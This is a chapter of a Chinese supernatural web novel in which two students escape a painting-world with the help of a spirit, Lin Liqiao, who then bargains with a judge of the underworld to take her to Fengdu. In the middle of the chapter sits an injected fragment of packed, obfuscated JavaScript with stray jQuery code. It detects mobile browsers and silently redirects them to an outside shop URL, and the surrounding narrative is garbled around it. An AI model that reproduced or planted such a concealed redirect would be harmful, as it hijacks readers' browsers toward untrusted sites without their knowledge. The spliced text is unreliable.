林离桥站在舞台上,面无表情地看着台下的两人。
章涵苑和连筠明虽然知道这人不大正常,但鉴于都和她不熟,也没想过她会跟着进来。
“你是在找这个吗?”
林离桥对着章涵苑摊开手,手心里正躺着两颗檀木珠。
章涵苑也用冷淡的神情看着她。
“把它给我。”
林离桥嗤笑了一声。
“我当然可以给你了,反正我留着也没什么用。”
“不过嘛,我听说‘循因会’的人,向来都是只做交易的。”
林离桥将目光转向连筠明身上。
连筠明感到莫名奇妙,偷偷瞥了一眼章涵苑,再看看上面的林离桥,才不可置信地发现她就是在看自己。
“你……看我做什么?我可没有说过我是循因会的人。”
“不管是不是,你都已经在为祂做事了吧?”
林离桥将一颗珠子抛到半空,它画出了一个抛物线的轨迹,落到章涵苑手中。
“就当我一个小小的请求,用这几颗珠子想你买,你看可还行?这一颗是定金,只要你答应,剩下的我都给你。”
林离桥握紧住手里的檀木珠,对林离桥说道:
“你要求什么?”
“你认识凌玖期是吧?只要你带我去见她,之后你再陪我去一趟酆都就行。”
“酆都?”
“不过是死人去的地方。”
章涵苑犹豫了一下,去哪儿她倒是无所谓,只是拿不准凌玖期会怎么样。
“你要找她干嘛,我可不敢保证她会不会想见你,而且上次在医院你也看到她了吧?为什么不自己去?”
“要是有这么简单就好了,如你所见,我只是一个邪祟,她也不是正常人,我没法单独靠近她。”
章涵苑顿了顿,只是在想至今我认识的好像都不是什么生物学上的正常人类。
“行,这活我接下了,把东西给我。”
林离桥从舞台上走下来,把手里的珠子交给她。
章涵苑摊开手掌,掌心里躺着的檀木珠却不止一个。
一,二……五颗?
“如何?我的诚意足够吧?”
林离桥对着她微微笑道。
“你在哪里找到的?礼堂里应该就只有两颗才对。”
“这里的幻境你都没有走遍吧,我比你们要早进来,剩下那三颗是在音乐楼找到的。”
“你刚才不是还在教室……”
“他们可以是假的,我也可以。”
章涵苑懒得去管哪个林离桥是冒牌货,她只在意既然在画中严昕华将珠子藏到了音乐楼,那现实中的音乐楼是不是也有。
“你在音乐楼的哪里找到的?”
林离桥故作神秘地浅笑,道:
“那这算不算另一个‘交易’?”
章涵苑在心里翻了个白眼,再暗骂一句真计较,这人怕不是个奸商来的吧。
“算了,不需要了。”
林离桥失望的叹了一口气。
“好吧,那还真是可惜呢。”
“不过,关于如何‘出去’,你总该需要吧?”
连筠明愣了一下,这么久以来他也不知道该怎么从这里出去,光被章涵苑拉着跑了,脑子一点都没有思考。
章涵苑也被打住了。
“你又要开什么条件?”
“也很简单,只要在和我去酆都的时候,你听我的去做就行。”
“合着你想让我陪你去酆都办事?”
“答对咯!”
林离桥拍拍手,礼堂里的所有灯都亮了起来。
“这个世界里的所有这种珠子,应该都在你手上了。毕竟你跑的也实在够快,我进来的又晚,我翻遍了这幅画也才找到这些。”
“哎呀,天好像快黑了,我还是不多说废话好了。”
章涵苑扭过头去,发现门外的天色渐暗,只是此刻的礼堂光芒万丈,一时令人忘记了时间。
“跟我来吧。”
林离桥丢下这一句话,就自顾自地走出礼堂。她走起来的脚步很轻,速度却飞快,章涵苑得小跑才能跟上她。
“喂!你们跑这么快干嘛!”
连筠明跟在最后面喊道。
他一边小跑着,嘴里一边不停的抱怨。
“刚才才跟你到处乱跑了一通,怎么现在……还不放过我。”
最前面的林离桥却好似丝毫没有听见他的哀嚎,继续大步向前走着。
章涵苑嫌他实在有够吵,硬是拖着他一条手跟了上去。
从礼堂出来后,章涵苑注意到林离桥一直在往艺术楼的方向赶去。
不知是不是错觉,还是画中的时间流逝与外界不同。章涵苑感觉从礼堂出来后的体感时间也不过几分钟,而刚刚还是黄昏的天空中,太阳极速的就要落下。
待到林离桥终于停下脚步,她才发现他们被带回了舞蹈室。
“愣着干什么,天马上就要黑了,快进去。”
林离桥推了两人一把,连筠明一个没站稳差点就要跌进去。
舞蹈室里迎面而来的仍是那巨大的练功镜,镜子里映射出章涵苑和连筠明的身影。
章涵苑往镜子另一侧看去,没有看到林离桥的影子,只看到了一团黑影。
“林离桥?”
她侧头看过去,却见她仍好好的站在那里。
林离桥走到两人身后,一手搭上他们的肩膀,将两人向镜子推过去。
“哎?你干嘛……”
连筠明眼看着自己就要一头撞上镜子,不忍闭上了眼。
而料想中的碰撞却没有发生,连筠明小心翼翼地睁开了眼,只见得他们穿过了那面镜子。
连筠明感到身后一股凉意,僵着脖子想要回头看过去,肩膀却被狠狠捏了一把。
“别回头。”
耳边传来林离桥的声音。
“敢回头我就拧断你的脖子。”
连筠明只好将脖子缩了回去。
此刻他若是回头看去,将会发现身后的林离桥只剩下一团漆黑的影子。
穿过镜子,影子又变回了林离桥的模样,只不过两人都没有发现。
镜子背后是另一个舞蹈室,晨曦的微光打在地面的木板上。
“好了,我们回来了。”
林离桥拍拍他们的肩膀。
“哈?所以出来的方法是穿过镜子?”
连筠明问道。
“不是哦。”
“如果让你自己去钻那个镜子的话,你大概会把它给碰碎。”
林离桥故作沉思了一阵。
“这种画的里世界,出去的方法应该跟进去一样才对。但是入口在美术楼,画的主人却将里世界的美术楼给剔除了。”
“他似乎想要把它变成一个只进不出的牢笼。”
“温馨提示,里面的学生可都是真实存在过的哦。”
真实存在过……对了,刚才见到的雕塑的脸,撞到身边的学生,都是那些失踪的学生。
十年前被官方正式认定失踪的只有六人,而画里的人少说都有几十人。
进去的时候所有人都围在他们身边,营造出一种人很多的感觉。
而到了教学楼,虽然路过的每个班级里都有些许响声,但实际坐满了人的,只有他们进去的那一个教室。
从教室跑出来后,一直到礼堂的路上也都没有见过其他人。
进来学校失踪的人,只是在论坛上刷到的,估计是十来个。
那么多出的人又是从哪里来的?
如果当时能停下来和他们交流,不知道能不能问出个所以来。
“嗯?你们在想和画里的人交流吗?”
林离桥忽然开口,打破了沉默的氛围和他们的思绪。
“不行哦,画里的那些人已经彻底融入了里世界,他们只会认为自己本该就在那里。”
“更重要的是,画的主人还可以任意操控他们——每一个人。”
“他们的命格已经被换走了,现在只剩下了一幅行尸走肉,完全在靠着生前的本能活动呢。”
章涵苑想起那些人在楼下那些不自觉拥向他们的人群,还有班里沉默的气氛。
“那你和原萧蓓他们,又是什么来的?”
“嗯?我都说过了,那只是个顶替的冒牌货而已。”
所以是连行尸走肉都算不上吗,不愧为邪祟。
“所以你为什么可以从镜子里出来?”
林离桥沉默了两秒,又平静地开口道:
“画里和画外是相反的,这不是很明显的吗?那只要从镜子里走出去,就可以到相反的世界了啊。”
“镜子……相反的世界?”
连筠明在一旁喃喃自语道,忽然抬起头用惊愕的语气说道:
“你不会是那个……唔……”
连筠明的话还没有说完就被林离桥用舞蹈室里随手抓来的手绢堵住了嘴。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781336|210104||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“嘘,可别说出来了。”
“要是让祂发现,找上我的麻烦,我可饶不了你。”
章涵苑有些奇怪,林离桥嘴里的那个“祂”又是谁?为什么说出来就会被发现?
“行了,别净给我扯废话,想知道的话自己去查。我带你出来了,你也该兑现你的交易了。”
林离桥直接岔开了话题,转头看向章涵苑。
“把凌玖期叫出来吧,反正现在也是星期天。”
真抱歉呢,就这么出卖了学姐。
章涵苑愧疚了三秒,在第四秒的时候编辑好了短信,发送给了凌玖期。
“学姐,我在学校遇到了点问题,能麻烦你过来一下吗?”
章涵苑看着聊天界面显示着“对方正在输入中……”,没过多久,她就收到了信息。
“连筠明惹事了?果然他一出来就没好事,你在校门口等我吧。”
章涵苑把聊天界面对着林离桥晃了晃,道:
“我给你约出来了,去校门口等吧。”
鉴于林离桥刚才的那番说辞,即便章涵苑实在是想偷溜也没办法,只好强行留下连筠明来助威。
凌玖期很快就赶到了学校,下车时还正想着要怎么好好教训连筠明这个老不死的小鬼一番。
她走到校门口,正好看见连筠明一脸疲惫的蹲在地上打哈欠。她走到连筠明面前,直接踢了他一下,道:
“你又闯什么祸了?都说让你别死在我论坛里了,昨天非要开直播就算了,还突然断线,下播就算了,还直接失联。”
“你这是又闯到哪个三无地区去了啊?害得我整个论坛都要炸了!”
凌玖期根本不等连筠明解释,上来就是劈头盖脸一顿教训。
“冤枉啊姐——我不是故意的!”
连筠明抱着脑袋,像个猴子一样上蹿下跳,这会功夫他倒是有精神了。
凌玖期也没有追着他往死里打,只是打了两下就让他自己上一边玩儿去了。
“章涵苑,你说的还有什么问题吗?”
“问题我带过来了,就在这儿呢。”
章涵苑指了指身边从刚才起就一言不发的林离桥。
凌玖期终于注意到了这边还站着一个人,用正眼看了她好一会儿。
她顿时感到太阳穴一突一突的。
“你怎么给我带了个邪祟过来?”
凌玖期揉了揉额头。
“本来我可没有这个打算,但是她把我们带出来了。”
章涵苑凑近凌玖期的耳边。
“作为交换,她指名要见你,所以不好意思啦学姐。”
凌玖期面不改色地将章涵苑推开,心里却想着到底是让她和连筠明混多了,也开始变得会惹事了,还是神女本身就是个麻烦精,不然怎么会养出像连筠明这样除了会闯祸一无是处的废物。
林离桥还是站在那里,只是对着凌玖期笑笑,她好像真的不能走到凌玖期身边。
“说吧,你找我干嘛?”
看在神女的面子上,就先让让这个小邪祟。凌玖期想着。
“想请判官大人带我去酆都。”
“你要去那里干什么?”
凌玖期的脸一下子就黑了。
“不过就是去酆都,有没有我,你应该都能轻易闯进去吧?就算是去找黎云黎彩,他们随随便便就能打通阴阳两界,你还犯得着冒着被打消散的风险来找我?”
“这我知道,判官大人是想说,我应该去找我的‘同类’帮忙吧?”
“只不过我去酆都,可不仅仅是参观走走而已呀。拿到阴司案台上的某样东西,只有判官大人你能办到吧?”
“就算是你说的那两位,就算再怎么闹腾,应当也不敢和那么多判官起正面冲突,抢走阴司案台上的东西。”
凌玖期显然还是很不想搭理她。
“那你说说,就算是我,如果擅自拿走了生死簿还篡改,被发现后我又会怎么样?”
“拿走它的人只会是一个普通人类,而非阴司判官。”
林离桥再度斟酌了一下用词,继续道来。
“既然是买卖,那自然是公平的。我对章涵苑提出的要求只是见你,那么请你和我同去酆都,借用生死簿改命,也就是新的交易了。”
“你也可以提出对我的要求。”
“你能做到什么程度?”
凌玖期打量着她。
“不如,就用你现在搜寻的,关于‘神女’的情报来交换,如何?”